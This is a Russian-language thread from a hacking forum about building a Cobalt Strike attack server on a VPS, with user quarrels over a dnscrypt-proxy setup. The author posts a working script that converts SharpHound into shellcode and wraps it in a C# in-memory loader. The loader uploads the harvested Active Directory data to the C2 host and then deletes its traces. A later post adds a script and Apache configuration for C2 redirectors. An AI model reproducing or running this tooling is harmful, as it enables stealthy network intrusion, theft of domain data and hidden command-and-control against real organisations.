• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Не ждали? XD Как превратить VPS в лабораторию пентеста с интерфейсом и безопасной работой внутри.

Пожалуйста, обратите внимание, что пользователь заблокирован
спасибо за твою работу. Я вроде все делал как вы написали но вот что мне показывает. Какая может быть причина?? Что надо исправить с моей стороны?

https://github.com/l4ckyguy/ukn0w/blob/40c4674b46d824be8bb5f86d30f66995473b709e/server/start.sh#L24

вряд-ли бы я забыл установить композ, да и докер вцелом. это первые строчки, с которых начинается установка. только что опять проверил - все хорошо. следуй за белым кроликом (x4k.tools | Системные Требоания) и у тебя обязательно все получится
 
автору однозначно плюс за работу проделанную и потраченное время! все пашет на ура. для всех с вопросами - самое первое, если что не получается - курите мануал, хак очень подробно все расписал!
 
12 процессоров, 48 ОЗУ и SSD

не проще ли взять выделенный сервер вместо впс? такой конфиг впса будет гораздо дороже выделенного, или я чего то не понимаю?

в случае работы всего 1 докер контейнера, такой конфиг можно делить на 5 ?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Итак, как я и обещал - годная статья - выкладываю патч XD. Давайте на эту же тему) Итак:
https://github.com/l4ckyguy/ukn0w/c...01790ef53aa9406f99b6a75dfff7f146&diff=unified

V2.1 - BloodHound
БладХаунд - легендарная собака, многие хотели, но не смогли.

Я сделал следующее: установил сервис на хост (точнее несколько), который слушает на :899 и принимает .зипы, которые генерирует ингестор. Ингестор в свою очередь выполняется fileless, через execute-assembly. Собирается пошагово так: скачивается последний официальный компилированный SharpHound.exe, с помощью donut'a преобразуется в шеллкод с добавлением некоторых аргументов для запуска. Было несколько вариантов, удобнее всего был метод с ReflectiveLoader. Но решил сделать csharp, подумал так будет правильнее. Использовал самый простой RunPE и добавил свои функции. После исполнение шеллкода в памяти, полученный зип-архив "переправляется" на хост, где его и ждет вышеназванный :899 для разбора и анализа. После рабочая папка удаляется. Остальное делает sleep (кто не вкурсе - Рафаель создал свой язык, на котором и написан aggressive script). Немного про БладХаунд: утилита, которая оказывает неоценимую помощь в lateral moving. Строит потрясающие графики, собирает огромное количество информации. В графическом интерфейса, помимо просмотра этой инфы, Вы с легкостью можете узнать "путь" к любому виду Админов и других сказочных существ. Чтобы Вам было проще добираться - стрелки смазаны специальным зельев, которое по клику правой кнопкой мыши в пункт "Help", как ни странно, но предоставляет РЕАЛЬНУЮ помощь, в виде прямых команд, без разгадывания квестов и такие же, без доли стеснения References.

BloodHound Если сказать проще - позволяет без боли, унижений, а главное кучи потраченного времени на ковыряние сети получить "Главный Приз". Итак, основная его действующая часть, которая инициализируется до запуска клиента кс.

Bash:
#!/bin/bash

rndname="$(curl -s https://gitlab.com/x4k/pub/-/raw/master/names.txt | shuf -n1)"
rm -r /opt/cobaltstrike/custom/sweet/output &> /dev/null ; mkdir /opt/cobaltstrike/custom/sweet/output
wget -qO /tmp/SharpHound.exe https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
donut -a2 -z2 -i/tmp/SharpHound.exe -p"--NoSaveCache --ZipFilename report --CollectionMethod All" -o /tmp/loader.bin
XBYTES="$(xxd -i /tmp/loader.bin | tail -n1 | cut -d'=' -f2 | head -c-2 | sed 's+ ++g')"

cat<<EOF>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
using System;
using System.IO;
using System.Linq;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;

namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[$XBYTES] {
EOF

xxd -i /tmp/loader.bin | tail -n+2 | head -n-1 >> /opt/cobaltstrike/custom/sweet/output/$rndname.cs

cat<<'EOF'>>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);

IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;

hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);

for (int i = 1; i <= 5; i++) {
Console.WriteLine("Thread paused for {0} second", 5); Thread.Sleep(1000); Console.WriteLine("i value: {0}", i);
}

string tpath = @"C:\ProgramData\mydata" ; var directory = new DirectoryInfo(tpath); string endfile = @"C:\ProgramData\mydata\report.zip";
var myFile = (from f in directory.GetFiles("*.zip") orderby f.LastWriteTime descending select f).First();
string mile = "" + myFile; File.Move(mile, endfile);

System.Net.WebClient Client = new System.Net.WebClient(); Client.Headers.Add("Content-Type", "binary/octet-stream");
string ServerIp = @"http://zxlab.io:899/upload?token=f9403fc5f537b4ab332a";

if (File.Exists(endfile)) {
var result = Client.UploadFile(ServerIp, "POST", endfile); Console.WriteLine("Upload complete! Enjoy XD"); File.Delete(endfile);
} else {
Console.WriteLine("ERROR! CANNOT DETERMINE USERS DOMAIN OR CANNOT CONECT TO LDAP!"); return;
}

Process abominable = new Process(); abominable.StartInfo.FileName = "cmd.exe";
abominable.StartInfo.Arguments = @"/c timeout 10 && rd /q /s C:\ProgramData\mydata";
abominable.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; abominable.Start();

return;
}

[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);

[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
uint lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
ref uint lpThreadId);

[DllImport("kernel32.dll")]
private static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);

public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}

public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
}
}
EOF

sed -i "s+zxlab.io+$HOSTNAME+g" /opt/cobaltstrike/custom/sweet/output/$rndname.cs
mcs -platform:x64 -t:winexe /opt/cobaltstrike/custom/sweet/output/$rndname.cs -out:/opt/cobaltstrike/custom/sweet/output/$rndname.exe
cp /opt/cobaltstrike/custom/sweet/sweet.bak /opt/cobaltstrike/custom/sweet/sweet.cna ; sed -i "s+Bloodhound+$rndname+g" /opt/cobaltstrike/custom/sweet/sweet.cna

И простейший алиас запуска в терминале бикона:


Java:
alias easyblood {
brm($1, "C:\\ProgramData\\mydata");
bmkdir($1, "C:\\ProgramData\\mydata");
bcd($1, "C:\\ProgramData\\mydata");
bexecute_assembly($1, "custom/sweet/output/Bloodhound.exe");
}

/usr/local/bin/cobalstrike был изменен таким образом:

Bash:
#!/bin/bash
export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/
sudo /opt/cobaltstrike/custom/sweet/makeblood.sh && sleep 2 | zenity --window-icon="/usr/share/icons/Papirus/128x128/apps/clamav.svg" --progress --auto-kill \
--auto-close --text='D0nt w0rry. Do b4d th1ngs..' --pulsate --title="_unkn0wn:::CobaltStrike" --no-cancel --width="300"
cd /opt/cobaltstrike
xhost +
./start.sh

Теперь, все, что Вам необходимо сделать: получить АдминАккаунт и выполнить в консоли бикона easyblood. Имейте ввиду, что собака работает только в контексте домена

Помимо >@ изменению подверглись многие аспекты "скрипта", увидеть полный и подробный список которых Вы можете в последнем коммите. XD


Очень хочется отметить, что все это протестировано, опробовано и заснято на видео, которое я покажу немного позже ;-) Конкурс (и мой тоже) продолжается ;-)

https://github.com/l4ckyguy/ukn0w/commit/0823f51d01790ef53aa9406f99b6a75dfff7f146
FileBrowser
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мне не дают покоя твои настройки dnscrypt-proxy.
Ранее вызывали вопросы файл конфигурации /etc/dnscrypt-proxy/dnscrypt-proxy.toml.
Сейчас ты убрал его из своего скрипта, вероятно полагаясь на настройки дефолтного файла, который создаётся при установке программы.
Но всё равно вызывают вопросы bash-скрипт, который устанавливает и настраивает dnscrypt-proxy.
Вот этот участок кода.
Bash:
#DNS-server
mkdir /tmp/dns && cd /tmp/dns
wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url \
| head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64/* /opt/dnscrypt-proxy/ ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ \
; systemctl disable systemd-resolved ; dnscrypt-proxy -service install ; dnscrypt-proxy -service start
cd ~ ; rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
cat<<'EOF'>/etc/rc.local
#!/bin/bash
dnscrypt-proxy -service uninstall ; dnscrypt-proxy -service stop
chattr -i /etc/resolv.conf ; echo nameserver 1.0.0.1 > /etc/resolv.conf
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; sleep 3
echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
sleep 4 ; cd /localhost ; ./up.sh
EOF
chmod +x /etc/rc.local

Я не пойму, зачем много движений вокруг файла /etc/resolv.conf.
При установке программы ты изменяешь содержимое файла /etc/resolv.conf: записываешь в него всего одну строку nameserver 127.0.0.1
Затем защищаешь этот файл от перезаписи.
Отлично, на этом можно остановиться.
Но далее происходит что-то мне абсолютно не понятное, Может я тупой ?
Далее, ты записываешь в файл /etc/rc.local некий bash скрипт, которай при каждой загрузке системы заставит
  • останавливать и удалять dnscrypt-proxy.service
  • затем снимать защиту от записи файла /etc/resolv.conf
  • перезаписывать, внося уже две строки: nameserver 1.0.0.1 nameserver 127.0.0.1
  • устанавливать по-новой и запускать сервис dnscrypt-proxy
  • затем опять защищать от записи /etc/resolv.conf
  • делает файл /etc/rc.local исполняемым
  • и так при каждой загрузке системы.

Это делается для безопасности ? Я больше не могу найти объяснения таким маневрам.

PostScriptum.
Кажись тут иногда пользователи обвиняют друг друга в излишней паранойе ))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мне не дают покоя твои настройки dnscrypt-proxy.
Ранее вызывали вопросы файл конфигурации /etc/dnscrypt-proxy/dnscrypt-proxy.toml.
Сейчас ты убрал его из своего скрипта, вероятно полагаясь на настройки дефолтного файла, который создаётся при установке программы.
Но всё равно вызывают вопросы bash-скрипт, который устанавливает и настраивает dnscrypt-proxy.
Вот этот участок кода.
Bash:
#DNS-server
mkdir /tmp/dns && cd /tmp/dns
wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url \
| head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64/* /opt/dnscrypt-proxy/ ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ \
; systemctl disable systemd-resolved ; dnscrypt-proxy -service install ; dnscrypt-proxy -service start
cd ~ ; rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
cat<<'EOF'>/etc/rc.local
#!/bin/bash
dnscrypt-proxy -service uninstall ; dnscrypt-proxy -service stop
chattr -i /etc/resolv.conf ; echo nameserver 1.0.0.1 > /etc/resolv.conf
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; sleep 3
echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
sleep 4 ; cd /localhost ; ./up.sh
EOF
chmod +x /etc/rc.local

Я не пойму, зачем много движений вокруг файла /etc/resolv.conf.
При установке программы ты изменяешь содержимое файла /etc/resolv.conf: записываешь в него всего одну строку nameserver 127.0.0.1
Затем защищаешь этот файл от перезаписи.
Отлично, на этом можно остановиться.
Но далее происходит что-то мне абсолютно не понятное, Может я тупой ?
Далее, ты записываешь в файл /etc/rc.local некий bash скрипт, которай при каждой загрузке системы заставит
  • останавливать и удалять dnscrypt-proxy.service
  • затем снимать защиту от записи файла /etc/resolv.conf
  • перезаписывать, внося уже две строки: nameserver 1.0.0.1 nameserver 127.0.0.1
  • устанавливать по-новой и запускать сервис dnscrypt-proxy
  • затем опять защищать от записи /etc/resolv.conf
  • делает файл /etc/rc.local исполняемым
  • и так при каждой загрузке системы.

Это делается для безопасности ? Я больше не могу найти объяснения таким маневрам.

PostScriptum.
Кажись тут иногда пользователи обвиняют друг друга в излишней паранойе ))



Тут все просто. Мне кажется ты сможешь догадаться. А вообще-то C0rtex прав на 100%. Скачай днс-крипт, установи себе. Так же попробуй затем установить его так, чтобы работал, да к тому же еще работал интернет после перезапуска системы. Думаю это снимет все твои вопросы
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я не пойму, зачем много движений вокруг файла /etc/resolv.conf.
При установке программы ты изменяешь содержимое файла /etc/resolv.conf: записываешь в него всего одну строку nameserver 127.0.0.1
Затем защищаешь этот файл от перезаписи.
Отлично, на этом можно остановиться.
Но далее происходит что-то мне абсолютно не понятное, Может я тупой ?
Далее, ты записываешь в файл /etc/rc.local некий bash скрипт, которай при каждой загрузке системы заставит

  • останавливать и удалять dnscrypt-proxy.service
  • затем снимать защиту от записи файла /etc/resolv.conf
  • перезаписывать, внося уже две строки: nameserver 1.0.0.1 nameserver 127.0.0.1
  • устанавливать по-новой и запускать сервис dnscrypt-proxy
  • затем опять защищать от записи /etc/resolv.conf
  • делает файл /etc/rc.local исполняемым
  • и так при каждой загрузке системы.
Вообще бред написал. полнейший. НЕ ВВОДИ НИКОГО В ЗАБЛУЖДЕНИЕ! выполни ПО ПУНКТАМ СКРИПТ, ПОСМОТРИ ЧТО ОН ДЕЛАЕТ! А ПОТОМ ПИШУ х#йНЮ
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Скачай днс-крипт, установи себе. Так же попробуй затем установить его так, чтобы работал, да к тому же еще работал интернет после перезапуска системы.
Я его скачиваю и устанавливаю на кождое своё устройство.
С чего-бы я тут был этаким псевдо-знатоком этого днс-крипта, если бы не был знаком с ним не понаслышке ?

Но вот что я думаю:
dnscrypt-proxy - это не совсем круто. К тому-же это dnscrypt обнаруживается всякими СОМР и всеми теми штуковинами, что понапридумывали на нашу голову, чтобы усложнить нам жизнь. Может быть трафик и невозможно расшифровать, но его можно обнаружить и блокировать. Его можно сохранить и расшифровать через пару лет, когда вот эти китайские супер-компьютеры будут стоять на каждом углу.

Я думаю, что DNS over HTTPS - это круче )
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вообще бред написал. полнейший. НЕ ВВОДИ НИКОГО В ЗАБЛУЖДЕНИЕ! выполни ПО ПУНКТАМ СКРИПТ, ПОСМОТРИ ЧТО ОН ДЕЛАЕТ! А ПОТОМ ПИШУ х#йНЮ
Объснись, где я написал х#йНЮ ? А какие действия ты хочешь выполнить в этом участке кода ?

Bash:
#DNS-server
mkdir /tmp/dns && cd /tmp/dns
wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url \
| head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64/* /opt/dnscrypt-proxy/ ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ \
; systemctl disable systemd-resolved ; dnscrypt-proxy -service install ; dnscrypt-proxy -service start
cd ~ ; rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
cat<<'EOF'>/etc/rc.local
#!/bin/bash
dnscrypt-proxy -service uninstall ; dnscrypt-proxy -service stop
chattr -i /etc/resolv.conf ; echo nameserver 1.0.0.1 > /etc/resolv.conf
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; sleep 3
echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
sleep 4 ; cd /localhost ; ./up.sh
EOF
chmod +x /etc/rc.local
 
Пожалуйста, обратите внимание, что пользователь заблокирован
У тебя он как работает? просто висит в системе..........?))))
Для всех, кто так же ставит днскрипт-прокси "на все свои устройства" немного пояснений:
127.0.0.1 - локалхост, т.е. ваш внутренний адрес (0.0.0.0 - внешний). /etc/resolv.conf - файл кофигуряции систем-ресолверс, в этом файле должны содержатся ай-пи адреса днс-серверов, которые будут resolve("разрешать") днс-запросы системы. Если не углубляться в подробности, то ДНС (домеин нейм систем) - своего рода "записная книжка" интернета, такая же, как у Вас в телефоне. Предположим Вы записываете: номер 911 имя Вася. Так же и тут, например 1.0.0.1 во всех днс-серверах записан как one.one.one.one (или cloudflare-dns.com).
Если любой из Вас в системе POSIX выполнит echo Vasya idi uchi matchast > file, то получит файл с соответствующим содержанием. Если "галочки" будет две - то содержание будет состоять из содержания файла file + Vasya idi uchi matchast. Таким образом, вышеназванный товарищ ошибся, говоря что строчки там уже две. Команда chattr действительно защищает файл от перезаписи, а файл /etc/rc.local - загружается после загрузки основных модулей (/etc/modules), ядра и сетевых интерфейсов (/etc/network/if-up.d/*). Если сложить все это + часть моего скрипта, который отвечает за конфигурацию днскрипт-прокси, то каждый из Вас сможет в итоге узреть тут простую истину:

wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url \ | head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/
загружаем самую последнюю доступную верси днскрипт-прокси для линукс_амд64 и распаковываем в тмп
mv /tmp/linux-x86_64/* /opt/dnscrypt-proxy/ ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/
переносим днскрипт и ПРИМЕРЫ конфигов в нужную папку /opt/dnscrypt-proxy. причем если быть более внимательным, можно увидеть что файл конфигу уже лежит в нужной папке. лн -с создает "мягкую" ссылку бинарника в "исполняемой" директории
systemctl disable systemd-resolved ; dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; cd ~ ; rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
данная команда "выключает" систмный резолвер, если он включен. затем устанавливает dnscrypt-proxy как службу, запускает ее. ПОСЛЕ ЭТОГО вносит 127.0.0.1 в файл конфига резолверов, потому что исходя из моего конфига он работает именно на 127.0.0.1, дабы без надобности не "выносить" :53 порт. Только после этого система будет "отражать" днс правильно. Так же стоит заметить, что для получения /opt/dnscrypt-proxy/relays.md (список днскрипт-прокси серверов) используется старое доброе TCP-соединение. ИМЕННО ДЛЯ ЭТОГО и производятся манипуляции с вышеназванным файлом:

Bash:
#!/bin/bash
dnscrypt-proxy -service uninstall ; dnscrypt-proxy -service stop
chattr -i /etc/resolv.conf ; echo nameserver 1.0.0.1 > /etc/resolv.conf
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; sleep 3
echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
sleep 4 ; cd /localhost ; ./up.sh

Сервис останавливается и стирается файл dnscrypt-proxy.service => снимается защита от перезаписи и дерактирования резолверов => указывется что теперь резолвер - клаудфлайр => сервис устанавливается и запускается, загружаются резолверы (если резолвер останется локалхост, то после перезагрузки релейс.мд не загрузится и служба не запустится, интернета не будет, если сказать проще) => локалхост опять системный резолвер => файл /etc/resolv.conf защищен от перезаписи => "поднимаются" понтейнеры (выполняется wakeupneo)

Скажу тебе так, Чупа-Кабра (у тебя даже никнейм соответствующий) - не вводи никого в блуд, если там сам по-уши. разберись что-есть-что, протестируй у себя. а потом кричи что мол ты такой профи конкретный по днскрипт и вообще дескать днс-овер-хттпс круче (хотя это как х#й c трамвайной ручкой сравнить, dns-over-https так же поддерживает протокол днскрип-прокси и конфигурируется в /opt/dnscrypt-proxy/dnscrypt-proxy.toml. Лично я предпочитаю dns-over-tls. Насчет "взлома" трафика и доступности суперкомпьютеров "на каждом углу", а так же "сохранения" - такой же бред и чушь совсем некомпетентного школьника, коим, скорее всего, ты и являешься. Надеюсь сейчас ты все-таки узнал "истину"
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
бля так вот всегда((( изначально столько умников было, создал гит - все исчезли. вообще пусто, один чертополох..тьфу, ЧупаКабра там что то подвывал (не сочтите за оскорбление, чупакабра, насколько я помню - что-то типа падальщика, помесь гины и лисы), да и тот уже не тот(((( печаль, тоска и грусть. насчет malleable profiles отвечать смысла нет. лучший способ - купить пару впс и настроить редиректоры, старый добрый modrewrite, например.
Python:
cat<<'EOF'>/usr/local/bin/cs2modrewrite
#!/usr/bin/python3

import argparse
import sys
import re

description = '''
ModRewrite
'''

parser = argparse.ArgumentParser(description=description)
parser.add_argument('-i', dest='inputfile', help='C2 Profile file', required=True)
parser.add_argument('-c', dest='c2server', help='C2 Server (http://teamserver)', required=True)
parser.add_argument('-r', dest='redirect', help='Redirect to this URL (http://google.com)', required=True)
parser.add_argument('-o', dest='out_file', help='Write .htaccess contents to target file', required=False)

args = parser.parse_args()

regex = re.compile(
    r'^(?:http|ftp)s?://' # http:// or https://
    r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' #domain...
    r'localhost|' #localhost...
    r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
    r'(?::\d+)?' # optional port
    r'(?:/?|[/?]\S+)$', re.IGNORECASE)

if re.match(regex, args.c2server) is None:
    parser.print_help()
    print("[!] c2server is malformed. Are you sure {} is a valid URL?".format(args.c2server),file=sys.stderr)
    sys.exit(1)

if re.match(regex, args.redirect) is None:
    parser.print_help()
    print("[!] redirect is malformed. Are you sure {} is a valid URL?".format(args.redirect),file=sys.stderr)
    sys.exit(1)

profile = open(args.inputfile,"r")
contents = profile.read()
contents = re.sub(re.compile("#.*?\n" ) ,"" ,contents)
ua_string  = "set useragent"
set_uri    = r"set uri.*\"(.*?)\"\;"
errorfound = False
errors = "\n##########\n[!] ERRORS\n"
if contents.find(ua_string) == -1:
    ua = ""
    errors += "[!] User-Agent Not Found\n"
    errorfound = True
else:
    ua_start = contents.find(ua_string) + len(ua_string)
    ua_end   = contents.find("\n",ua_start)
    ua       = contents[ua_start:ua_end].strip()[1:-2]

if len(re.findall(set_uri,contents)) == 0:
    uris = ""
    errors += "[!] No URIs found\n"
    errorfound = True
else:
    uris = re.findall(set_uri,contents)
    split_uris = []
    for uri in uris:
        for i in uri.split():
            split_uris.append(i)
    uris = list(set(split_uris))

ua_string = ua.replace('(','\(').replace(')','\)')
uris_string = ".*|".join(uris) + ".*"

htaccess_template = '''
RewriteEngine On

########################################
## .htaccess START
## (Optional)
## Scripted Web Delivery
## Uncomment and adjust as needed
#RewriteCond %{{REQUEST_URI}} ^/css/style1.css?$
#RewriteCond %{{HTTP_USER_AGENT}} ^$
#RewriteRule ^.*$ "http://TEAMSERVER%{{REQUEST_URI}}" [P,L]

## Default Beacon Staging Support (/1234)
RewriteCond %{{REQUEST_METHOD}} GET [NC]
RewriteCond %{{REQUEST_URI}} ^/..../?$
RewriteCond %{{HTTP_USER_AGENT}} "{ua}"
RewriteRule ^.*$ "{c2server}%{{REQUEST_URI}}" [P,L]

## C2 Traffic (HTTP-GET, HTTP-POST, HTTP-STAGER URIs)
## Logic: If a requested URI AND the User-Agent matches, proxy the connection to the Teamserver
## Consider adding other HTTP checks to fine tune the check.  (HTTP Cookie, HTTP Referer, HTTP Query String, etc)
## Refer to http://httpd.apache.org/docs/current/mod/mod_rewrite.html
## Only allow GET and POST methods to pass to the C2 server
RewriteCond %{{REQUEST_METHOD}} ^(GET|POST) [NC]
## Profile URIs
RewriteCond %{{REQUEST_URI}} ^({uris})$
## Profile UserAgent
RewriteCond %{{HTTP_USER_AGENT}} "{ua}"
RewriteRule ^.*$ "{c2server}%{{REQUEST_URI}}" [P,L]

## Redirect all other traffic here
RewriteRule ^.*$ {redirect}/? [L,R=302]

## .htaccess END
########################################
'''
print("#### Save the following as .htaccess in the root web directory")
print("## Profile User-Agent Found:")
print("# {}".format(ua))
print("## Profile URIS Found ({}):".format(str(len(uris))))
for uri in uris:
    print("# {}".format(uri))

htaccess = htaccess_template.format(uris=uris_string, ua=ua_string, c2server=args.c2server, redirect=args.redirect)
if args.out_file:
    with open(args.out_file, 'w') as outfile:
        outfile.write(htaccess)
else:
    print(htaccess)

if errorfound:
    print(errors, file=sys.stderr)
EOF
chmod +x /usr/local/bin/cs2modrewrite

Bash:
apt-get -y install apache2 python3-certbot-apache ; systemctl enable apache2 ; sleep 1 ; a2enmod rewrite headers proxy proxy_http ssl cache ; sleep 1 ; a2dismod -f deflate ; sleep 1 ; service apache2 reload
mv /opt/redirect.rules /etc/apache2/ ; ls /etc/apache2/sites-available/* > /tmp/lines ; while read in ; do old='#Include conf-available/serve-cgi-bin.conf' ; new='Include /etc/apache2/redirect.rules' ; sed -i "s+$old+$new+g" $in ; done < /tmp/lines
python3 /usr/local/bin/cs2modrewrite -i /opt/cobaltstrike/url.profile -c https://"$(hostname)" -r https://idite-nahuy.com > /var/www/html/.htaccess ; chown -hR www-data:www-data /var/www/html ; systemctl start apache2
hname="$(hostname)" ; certbot --apache -d "$hname" --non-interactive --agree-tos -m webmaster@"$hname" ; systemctl restart apache2
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я в отиличие от тебя не умник.
Ты напрасно позволил оскорбления в мой адрес.
Я попросту был чуток занят, да и форум этот мне не совсем заходит, поэтому я захожу сюда без особого желания.
Здесь слишком много хамства, нравственной грязи для меня. А ещё очень много чуваков вроде тебя: непонятно из какой подворотни выскочивших, и выскочив сразу нацепили на себя корону.
Самое интересное, они (чуваки с короной, вроде тебя), как только ставишь их на место, тут-же обвиняют меня в токсичности. Сами при этом, вероятно причислив себя к лику святых - не менее.

Я не заню, зачем ты напрягался и писал мне всю фигню выше, кому ты пытаешься что доказать. Мне доказывать ничего не нужно. Я от своих слов не отказываюсь и если уж написал и опубликовал, то готов их отстаивать.
Статья для тебя:
http://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/54898/

Мне НЕ хотелось делать тебе дальнейшие замечания по поводу твоей статьи. Но ты сам почему-то вместо ожидаемой мудрости лезешь в гавно.
Держи следующую порцию замечаний.
Как -бы ты не расписывал здесь настройки программы dnscrypt-proxy, ты не на том акцентируешь внимание и зачем-то опускаешься до оскорблений. Каким образом оскорбления помогают в настройке удалённого боевого атакующего сервера - для меня загадка.
Ко всем твоим настройкам dnscrypt необходимо отметить конфликт с другими резолверами доменных имё - у тебя их нет.
Нет также и настроуе файерволла. Ведь даже простые вестальщики сайтов - и те знают о о необходимости установки и настройки фаервола. А ты тут претендуешь на установку атакующего сервера.
Расписывать недостатки твоего скрипта я могу долго и нудно.
Ты попросту не достоин моего времени, поэтому вкратце:
  • пишу по памяти, поэтому расчитываю на здравое прочтение моих замечаний.
  • неоправданное использование каких-то нИпанятных протоколов, зачем изобретать велосипед при наличии целого автопарка?
  • отсутствие настроек Iptables
  • неграмотнае, несмотря на все твои старания установка и настройка шифрования запросов днс.
  • ты по всей видимочсти не видишь разницы между трафиком днс и udp-протоколом, тиак как в комеентариях я читал некорректное применение этих понятий
  • сам скрипт - сырой. уважающий себя програмист попросту постесняется его показывать на суд, а если показал, то ОБЯЗАН быть готов в критике
  • и щё много чего.
Обсыхай пока.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я в отиличие от тебя не умник.
Ты напрасно позволил оскорбления в мой адрес.
Я попросту был чуток занят, да и форум этот мне не совсем заходит, поэтому я захожу сюда без особого желания.
Здесь слишком много хамства, нравственной грязи для меня. А ещё очень много чуваков вроде тебя: непонятно из какой подворотни выскочивших, и выскочив сразу нацепили на себя корону.
Самое интересное, они (чуваки с короной, вроде тебя), как только ставишь их на место, тут-же обвиняют меня в токсичности. Сами при этом, вероятно причислив себя к лику святых - не менее.

Я не заню, зачем ты напрягался и писал мне всю фигню выше, кому ты пытаешься что доказать. Мне доказывать ничего не нужно. Я от своих слов не отказываюсь и если уж написал и опубликовал, то готов их отстаивать.
Статья для тебя:
http://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/54898/

Мне НЕ хотелось делать тебе дальнейшие замечания по поводу твоей статьи. Но ты сам почему-то вместо ожидаемой мудрости лезешь в гавно.
Держи следующую порцию замечаний.
Как -бы ты не расписывал здесь настройки программы dnscrypt-proxy, ты не на том акцентируешь внимание и зачем-то опускаешься до оскорблений. Каким образом оскорбления помогают в настройке удалённого боевого атакующего сервера - для меня загадка.
Ко всем твоим настройкам dnscrypt необходимо отметить конфликт с другими резолверами доменных имё - у тебя их нет.
Нет также и настроуе файерволла. Ведь даже простые вестальщики сайтов - и те знают о о необходимости установки и настройки фаервола. А ты тут претендуешь на установку атакующего сервера.
Расписывать недостатки твоего скрипта я могу долго и нудно.
Ты попросту не достоин моего времени, поэтому вкратце:
  • пишу по памяти, поэтому расчитываю на здравое прочтение моих замечаний.
  • неоправданное использование каких-то нИпанятных протоколов, зачем изобретать велосипед при наличии целого автопарка?
  • отсутствие настроек Iptables
